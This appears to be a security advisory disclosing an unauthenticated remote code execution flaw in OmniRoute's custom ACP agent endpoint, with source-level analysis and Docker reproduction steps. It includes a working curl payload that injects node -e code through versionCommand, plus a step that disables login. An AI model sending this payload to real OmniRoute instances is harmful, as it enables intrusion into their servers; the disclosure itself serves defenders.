GHSA-hf57-cqmx-p4grCritical

OmniRoute ACP Custom-Agent Remote Code Execution (RCE)

Published
September 10, 2026
Last Modified
September 10, 2026

🔗 CVE IDs covered (1)

📋 Description

2. Summary

POST /api/acp/agents registers a custom ACP agent. The endpoint accepts user-controlled binary and versionCommand values. After saving the custom agent, the same request calls refreshAgentCache(), which triggers agent version detection. The version probe eventually runs:

execFileSync(probe.command, probe.args, ...)

The only validation is resolveVersionProbe(binary, versionCommand, true), which checks that the first token of versionCommand matches the request-provided binary. Because binary is also attacker-controlled, an attacker can submit:

{
  "binary": "node",
  "versionCommand": "node -e \"...arbitrary JavaScript...\""
}

This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via child_process.execSync().

When requireLogin=false, isAuthenticated() treats anonymous requests as authenticated. At the same time, /api/acp/ is not included in LOCAL_ONLY_API_PREFIXES or SPAWN_CAPABLE_PREFIXES, so the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request.

3. Preconditions

The unauthenticated exploit is reachable in either of the following scenarios:

  1. The target instance has requireLogin=false. This is the primary scenario covered by this report and by the reproduction steps below.
  2. A fresh instance has no management password configured yet. During this bootstrap window, /api/settings/require-login allows unauthenticated setup writes, so an attacker can first set requireLogin=false and then call the vulnerable endpoint.

If the instance is in the default requireLogin=true state and already has a management password, exploitation requires a valid management session or management-scoped API key. In that case, the bug is authenticated RCE rather than the unauthenticated scenario emphasized here.

4. Technical Analysis

4.1 The Endpoint Accepts User-Controlled Command Fields

src/app/api/acp/agents/route.ts:15-24 defines a request schema that accepts binary, versionCommand, and spawnArgs:

const customAgentBodySchema = z.object({
  action: z.string().optional(),
  id: z.string().optional(),
  name: z.string().optional(),
  binary: z.string().optional(),
  versionCommand: z.string().optional(),
  providerAlias: z.string().optional(),
  spawnArgs: z.array(z.string()).optional(),
  protocol: z.enum(["stdio", "http"]).optional(),
});

The POST handler at src/app/api/acp/agents/route.ts:58-61 only calls isAuthenticated():

export async function POST(request: Request) {
  if (!(await isAuthenticated(request))) {
    return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
  }

The handler then stores binary and versionCommand in the custom agent definition without an executable allowlist:

const newAgent: CustomAgentDef = {
  id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"),
  name,
  binary,
  versionCommand,
  providerAlias: providerAlias || id,
  spawnArgs: spawnArgs || [],
  protocol: protocol || "stdio",
};

This logic is in src/app/api/acp/agents/route.ts:92-100.

4.2 The Only Guard Is a Self-Consistency Check

The only command validation in the route is at src/app/api/acp/agents/route.ts:102-107:

if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {
  return NextResponse.json(
    { error: "Invalid versionCommand: use the configured binary with plain arguments only" },
    { status: 400 }
  );
}

The core logic of resolveVersionProbe() is in src/lib/acp/registry.ts:261-288:

export function resolveVersionProbe(
  binary: string,
  versionCommand: string,
  requireBinaryMatch = false
): { command: string; args: string[] } | null {
  const tokens = tokenizeVersionCommand(versionCommand);
  if (!tokens) {
    return null;
  }

  const [command, ...args] = tokens;
  if (!command) {
    return null;
  }

  if (requireBinaryMatch) {
    const normalizedCommand = normalizeCommandToken(command);
    const allowed = new Set([
      normalizeCommandToken(binary),
      normalizeCommandToken(path.basename(binary)),
    ]);
    if (!allowed.has(normalizedCommand)) {
      return null;
    }
  }

  return { command, args };
}

This check only requires the first token of versionCommand to equal binary or path.basename(binary). Since binary is also attacker-controlled, binary="node" and versionCommand="node -e \"...\"" pass validation.

tokenizeVersionCommand() only blocks a small set of shell metacharacters (src/lib/acp/registry.ts:183-254):

const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/;

This does not prevent node -e code execution, because characters needed for the payload, such as (, ), ', ., /, ,, and spaces, are allowed.

4.3 The Same Request Immediately Triggers Command Execution

After saving the custom agent, the route calls refreshAgentCache() at src/app/api/acp/agents/route.ts:121-127:

const updated = [...current, newAgent];
await updateSettings({ customAgents: updated });
setCustomAgents(updated);

const agents = refreshAgentCache();
return NextResponse.json({ agents, added: newAgent });

refreshAgentCache() is defined at src/lib/acp/registry.ts:366-369:

export function refreshAgentCache(): CliAgentInfo[] {
  _cachedAgents = null;
  return detectInstalledAgents();
}

detectInstalledAgents() merges built-in and custom agents and calls detectAgent() for each one (src/lib/acp/registry.ts:342-360):

const allDefs = [
  ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })),
  ..._customAgentDefs.map((d) => ({ ...d, _custom: true })),
];

_cachedAgents = allDefs.map((def) => {
  const { _custom, ...rest } = def;
  return detectAgent(rest, _custom);
});

The command execution sink is at src/lib/acp/registry.ts:307-325:

const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);
if (!probe) {
  return { ...def, version, installed, isCustom };
}

const output = execFileSync(probe.command, probe.args, {
  timeout: 5000,
  encoding: "utf-8",
  stdio: ["pipe", "pipe", "pipe"],
  ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),
}).trim();

On Linux containers, shouldUseShellForVersionProbe() returns false for non-Windows platforms (src/lib/acp/registry.ts:290-301):

export function shouldUseShellForVersionProbe(
  command: string,
  platform = process.platform
): boolean {
  if (platform !== "win32") return false;
  ...
}

Therefore the effective execution is execFileSync("node", ["-e", "..."]). No shell metacharacters are required.

4.4 Why This Is Unauthenticated

isAuthenticated() is defined at src/shared/utils/apiAuth.ts:285-302:

export async function isAuthenticated(request: Request): Promise<boolean> {
  if (!(await isAuthRequired(request))) {
    return true;
  }
  ...
}

isAuthRequired() returns false when requireLogin=false (src/shared/utils/apiAuth.ts:317-323):

const settings = await getSettings();
if (settings.requireLogin === false) return false;

The centralized management policy also has the same anonymous allow branch at src/server/authz/policies/management.ts:223-226:

if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {
  return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" });
}

Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first. src/server/authz/routeGuard.ts:29-45 lists LOCAL_ONLY prefixes such as /api/mcp/, /api/cli-tools/runtime/, /api/services/, /api/tools/agent-bridge/, and /api/plugins/, but it does not include /api/acp/:

export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [
  "/api/mcp/",
  "/api/cli-tools/runtime/",
  "/api/services/",
  "/dashboard/providers/services/",
  "/api/copilot/",
  "/api/tools/agent-bridge/",
  "/api/tools/traffic-inspector/",
  "/api/plugins/",
  "/api/plugins",
  "/api/system/version",
  "/api/db-backups/exportAll",
  "/api/local/",
  "/api/headroom/start",
  "/api/headroom/stop",
  "/api/oauth/cursor/auto-import",
];

SPAWN_CAPABLE_PREFIXES also omits /api/acp/ (src/shared/constants/spawnCapablePrefixes.ts:26-35).

This means /api/acp/agents reaches the anonymous allow branch when requireLogin=false instead of being rejected by the LOCAL_ONLY gate.

5. Reproduction Environment

The issue can be reproduced in a local Docker environment:

  • OmniRoute image: diegosouzapw/omniroute:latest
  • Exposed port: 20128
  • Container data directory: /app/data
  • PoC behavior: runs only read-only commands (id and uname -a) and writes their output to /app/data/UNAUTH_RCE_PROOF.txt

6. Reproduction Steps

6.1 Start a Test Instance

JWT=$(openssl rand -base64 48)
AKS=$(openssl rand -hex 32)

docker network create omniroute-poc-net
docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine
docker run -d --name omniroute-poc --network omniroute-poc-net \
  -p 20128:20128 -p 20129:20129 \
  -e JWT_SECRET="$JWT" \
  -e API_KEY_SECRET="$AKS" \
  -e REDIS_URL="redis://omniroute-poc-redis:6379" \
  diegosouzapw/omniroute:latest

Wait for startup:

until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \
      curl -sf http://localhost:20128/ >/dev/null 2>&1; do
  sleep 2
done

6.2 Put the Instance in the Login-Disabled State

This step models a self-hosted instance where dashboard login has been disabled:

curl -s -X POST "http://localhost:20128/api/settings/require-login" \
  -H "content-type: application/json" \
  -d '{"requireLogin":false}'

If the target is already in requireLogin=false, this step is not needed.

6.3 Trigger RCE Anonymously

The following request sends no cookie and no Bearer token:

curl -s -X POST "http://localhost:20128/api/acp/agents" \
  -H "content-type: application/json" \
  -d '{
    "id":"anonrce",
    "name":"anonrce",
    "binary":"node",
    "protocol":"stdio",
    "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\""
  }'

6.4 Verify Command Execution

docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt

Expected output is similar to:

uid=1000(node) gid=1000(node) groups=1000(node)
Linux <container-id> <kernel-version> ... <arch> GNU/Linux

This proves that the anonymous HTTP request executed id and uname -a inside the OmniRoute container.

🎯 Affected products1

  • npm/omniroute:<= 3.8.50

🔗 References (4)